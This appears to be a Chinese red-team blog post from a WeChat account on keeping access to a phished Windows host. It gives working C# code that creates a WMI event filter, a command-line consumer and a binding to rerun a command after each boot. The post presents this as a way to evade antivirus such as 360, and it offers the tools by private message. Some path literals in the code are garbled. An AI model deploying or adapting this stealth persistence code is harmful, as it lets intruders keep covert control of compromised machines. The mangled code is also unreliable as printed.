“ 在红队攻防中拿到主机权限的时候,我们往往需要通过这台机器进行深一步的渗透,或者目标服务器可能因为系统更新,杀软更新等等原因往往导致会话莫名其妙下线了,所以权限持久化是红队一个必不可少的工作。”
01
—
背景
在红队攻防中拿到主机权限的时候,我们往往需要通过这台机器进行深一步的渗透,或者目标服务器可能因为系统更新,杀软更新等等原因往往导致会话莫名其妙下线了,所以权限持久化是红队一个必不可少的工作。
下面给大家带来在钓⻥上线后如何通过WMI绕过杀软隐匿的做权限维持技术。
02
—
WMI事件介绍
WMI事件,即特定对象的属性发生改变时发出的通知,其中包括增加、修改、删除三种类型。可以使用wmic来进 行操作。通俗的可以说:WMI内部出现什么变化就由WMI事件来进行通知。
WMI大家都不陌生,但网上比较多的是通过powershell或者wmic来进行操作,这样免杀效果会比较差,甚至会被 一些edr检测出来,如果使用c#来添加事件,就能达到很好的免杀效果,实现的代码也很简单,首先注册一个 WMI事件过滤器,再注册一个 WMI 事件消费者,最后将事件消费者绑定到事件过滤器。
c#代码实现如下:
static void PersistWMI(string CommandLine,string eventName)
{
ManagementObject myEventFilter = null;
ManagementObject myEventConsumer = null;
ManagementObject myBinder = null;
String strQueryStartup = @"SELECT * FROM __InstanceModificationEvent WITHIN
60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325";
String strQuery = strQueryStartup;
try
{
//string eventName = "BugSecFilter";
ManagementScope scope = new ManagementScope(@"\.rootsubscription");
ManagementClass wmiEventFilter = new ManagementClass(scope, new
ManagementPath("__EventFilter"), null);
//注册 WMI 事件过滤器
WqlEventQuery myEventQuery = new WqlEventQuery(strQuery); myEventFilter = wmiEventFilter.CreateInstance(); myEventFilter["Name"] = eventName;
myEventFilter["Query"] = myEventQuery.QueryString; myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
myEventFilter["EventNameSpace"] = @"rootcimv2"; myEventFilter.Put();
Console.WriteLine("n[+] 设置 filter for{0}", eventName); //注册 WMI 事件消费者
myEventConsumer = new ManagementClass(scope, new
ManagementPath("CommandLineEventConsumer"), null).CreateInstance();
myEventConsumer["Name"] = eventName; myEventConsumer["CommandLineTemplate"] = CommandLine; myEventConsumer.Put();
Console.WriteLine("n[+] 设置 consumer for {0}", eventName); //将事件消费者绑定到事件过滤器
myBinder = new ManagementClass(scope, new
ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();
myBinder["Filter"] = myEventFilter.Path.RelativePath; myBinder["Consumer"] = myEventConsumer.Path.RelativePath; myBinder.Put();
Console.WriteLine("n[+] 设置 binding for {0}", eventName); Console.WriteLine("n[+] WMI事件设置成功!");
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
效果:
360全程没反应
重启后成功上线
删除事件也很简单,只需要删除事件过滤器、事件消费者、事件绑定即可,顺手也写了一个
public static void WMIEventDel(string eventName)
{
try {
ManagementObject myfilter = new
ManagementObject("\\.\root\subscription:__EventFilter.Name='" + eventName + "'");
myfilter.Delete();
Console.WriteLine("n[+] 删除 filter for {0}", eventName);
ManagementObject myconsumer = new
ManagementObject("\\.\root\subscription:CommandLineEventConsumer.Name='" +
eventName + "'");
myconsumer.Delete();
Console.WriteLine("n[+] 删除 consumer for {0}", eventName);
ManagementObject mybinding = new
ManagementObject("\\.\root\subscription:__FilterToConsumerBinding.Consumer="Comman
dLineEventConsumer.Name=\"" + eventName + "\"",Filter="__EventFilter.Name=\"" +
eventName + "\""");
mybinding.Delete();
Console.WriteLine("n[+] 删除 binding for {0}", eventName); Console.WriteLine("n[+] WMI事件删除成功n");
}
catch (Exception e)
{
Console.WriteLine("n[-] 删除异常 ", e.Message);
return; }
}
效果:
02
—
总结
在有了控制目标终端的能力之后,最重要的事情就是维持住这个权限,这一块难点主要就是在目标机器上有一些杀软的情况下去做权限维持。对杀软来说,任何对系统关键位置进行修改的敏感操作都需要在可信的进程下去进行,否则会对这个行为进行拦截。可信的进程不单是文件需要有签名,同时需要这个进程向上的进程链上所有的进程都要有签名。
此次我们第一篇权限维持的文章就结束了,我们后面还有持续性的权限维持系列文章,敬请期待吧!,本文章涉及到的工具,可后台私信获取
往期文章
—
点击下方名片即可关注我们公众号,关注我们,给你带来不一样的精彩!
原文始发于微信公众号(云谷十三):红队权限维持与杀软对抗(一)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论